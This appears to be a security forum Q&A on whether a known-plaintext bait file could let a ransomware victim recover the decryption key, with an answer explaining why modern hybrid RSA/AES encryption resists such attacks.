Set up a proxy/firewall between you and the outside world. Add a white list of good servers to the proxy. This is very restrictive but the only way to guarantee it (except have no network). A black list could work, but there are always ways around.


Can I find a private key for a known encrypted file? Let's say I create a 100KB file only containing 1234567890, that is, a known value. This file would be sitting on several folders as bait.

Once a Rasomware hits the folder and encrypts this file (considering all other forms of anti-rasomware protection failed), could I generate which is the private key that would decrypt that file, and all other files, by knowing the previous file contents?

Does also having the Public Key captured in memory help?

Does having a large known file help? Most examples I found online speak about how this wouldn't work for JPEG and PDF headers, but usually those are very small.

I know this goes against the asymmetrical key theory, but usually there's a difference between cryptography theory and practice, like hashes should be unique for every entry, but in practice there's always the possibility of collisions.

This is known as a 'known plaintext' attack.  All modern encryption algorithms are designed to be resistant to this type of attack.

Many types of files contain known plaintext.  For example, PDF documents begin with the header '%PDF'.  Other information in most PDF documents is easy to guess, such as embedded fonts, formatting info, etc.  If known plaintext attacks were possible, then it would be possible to derive the key used to encrypt any PDF document, in the manner that you describe, based on this known content.  The same would apply to many other types of files as well.

Appended 5/10/2020 based on the comments below following this answer and other answers to this question:

Very rarely is asymmetric encryption actually used to encrypt large files.  Instead, most asymmetric encryption implementations use hybrid encryption, where a symmetric key is generated, then this key is used to encrypt the files using symmetric encryption (e.g. AES), then the symmetric key is encrypted using asymmetric encryption with the public key, and stored along with the ciphertext.  See https://crypto.stackexchange.com/questions/32692/what-is-the-typical-block-size-in-rsa.

So, even when asymmetric encryption (e.g. RSA) is used, the underlying encryption is most likely done using symmetric encryption (e.g. AES).  Most modern AES implementations are highly resistant to known plaintext attacks - even if the entire file consists of known plaintext.  For example, AES-CBC uses a random initial vector which is XOR'd with the first block of plaintext.  This has the effect of completely randomizing the plaintext before it is encrypted.  Then, this process is repeated for all subsequent blocks.

So, a known plaintext attack is highly unlikely if hybrid encryption is used - but you make a good point that the underlying (symmetric) key that is used to encrypt the files is in memory for the entire time that the encryption is taking place.